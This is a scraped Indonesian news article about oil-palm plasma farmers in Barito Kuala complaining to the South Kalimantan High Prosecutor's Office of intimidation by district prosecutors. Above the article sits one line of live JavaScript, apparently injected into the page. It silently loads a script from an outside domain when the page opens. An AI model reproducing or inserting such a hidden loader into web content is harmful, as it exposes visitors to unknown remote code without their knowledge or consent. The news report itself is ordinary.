(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sejumlah petani plasma kelapa sawit bersama pengurus asosiasi kelapa sawit dari Kabupaten Barito Kuala (Batola) mendatangi kantor Kejaksaan Tinggi (Kejati) Kalsel, Kamis (22/6/2023) siang.
Mereka datang untuk mengungkapkan keresahan mereka ke pimpinan Kejati Kalsel terkait permasalahan mereka sebagai petani plasma di daerah.
Permasalahan itu masih ada kaitannya dengan masalah pengelolaan plasma kebun kelapa sawit di beberapa desa di Kecamatan Wanaraya, Kabupaten Batola, Kalsel.
Darmono, salah satu dari petani plasma kelapa sawit merasa diintimidasi oleh penegak hukum Kejari Batola. Oleh sebab itu, mereka mengadu kepada Kejati Kalsel untuk ditindaklanjuti.
Baca juga: Tangani Pasien ODGJ dengan Tepat, Dinkes HSU Gelar Workshop Kader Kesehatan Jiwa
“Istilahnya kita mau curhat, menyampaikan keluhan ketidakprofesionalan Kejari Batola,” kata Darmono saat ditemui di Kejati Kalsel, Kamis (22/6/2023) siang.
Disebutkan koordinator petani plasma tersebut, masyarakat petani plasma banyak yang dipanggil oleh Kejari Batola terkait proses hukum kasus tukar guling lahan.
Namun, di dalam penyelidikan itu menurutnya tidak satupun dipertanyakan masalah tukar guling, tetapi justru ditekankan masalah plasma yang perkaranya sudah putus.
“Padahal itu perkaranya sudah diputus, kami sangat menghormati hukum, tetapi aparat hukum jangan melakukan tekanan intimidasi diluar proses hukum yang sebenarnya,” ujarnya.
Mereka datang bersama LSM BABAK dan KPK-APP Kalsel disambut Kasi C dan Kasi Intel Kejati Kalsel untuk melakukan audiensi.
Sekitar satu jam, sepuluh orang perwakilan petani plasma difasilitasi Kejati Kalsel untuk menyampaikan laporan dan keluhannya.
Dibeberkan Darmono, hasil pertemuan tersebut pihak Kejati Kalsel berjanji akan menindaklanjuti laporan dari para petani plasma di Batola.
Sementara itu, pihak LSM Kalsel yang mendampingi para petani mendorong Kejati Kalsel untuk mengakomodir aduan masyarakat terkait permasalah mereka dengan Kejari di daerah.
“Kami mohon Kejati Kalsel segera bertindak, jangan sampai kejaksaan jadi musuh para petani,” kata Aliansyah.
Melalui via telepon, Plt Kasi Penkum Kejati Kalsel Roy Arlan mengatakan, akan menindaklanjuti laporan keluhan para petani kelapa sawit yang berasal dari Kabupaten Batola tersebut.
“Kita akan tindaklanjuti, kalau ada laporan itu kita akan proses kok,” katanya singkat.(Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.